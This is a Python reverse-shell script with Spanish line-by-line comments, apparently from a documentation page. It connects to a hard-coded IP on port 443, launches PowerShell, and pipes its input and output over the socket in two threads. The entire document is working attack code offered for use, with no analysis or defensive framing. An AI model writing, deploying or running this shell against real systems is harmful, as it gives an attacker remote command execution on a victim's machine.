Python

import os, socket, subprocess, threading  # Importa las librerías necesarias para manejo de sockets, subprocess y hilos

# Función para enviar datos desde el socket hacia el proceso (stdin)
def s2p(s, p):
    while True:
        data = s.recv(1024)  # Lee los datos enviados por el servidor a través del socket
        if len(data) > 0:  # Si se reciben datos
            p.stdin.write(data)  # Escribe los datos en la entrada estándar del proceso
            p.stdin.flush()  # Asegura que los datos se envíen inmediatamente

# Función para enviar datos desde el proceso hacia el socket
def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))  # Lee un byte de la salida estándar del proceso y lo envía al servidor

# Crea un socket para la conexión
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("172.27.131.49", 443))  # Se conecta al servidor con la IP y puerto especificado

# Inicia el proceso PowerShell, redirigiendo las salidas y entradas estándar
p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

# Crea un hilo para transferir datos del socket al proceso
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True  # Hace que el hilo sea un hilo "demonio", terminando cuando el programa principal termina
s2p_thread.start()  # Inicia el hilo

# Crea un hilo para transferir los datos del proceso al socket
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True  # Hace que este hilo también termine cuando el programa principal termine
p2s_thread.start()  # Inicia el hilo

# Espera a que el proceso termine
try:
    p.wait()
except KeyboardInterrupt:
    s.close()  # Si el usuario interrumpe el proceso, cierra la conexión del socket

Last updated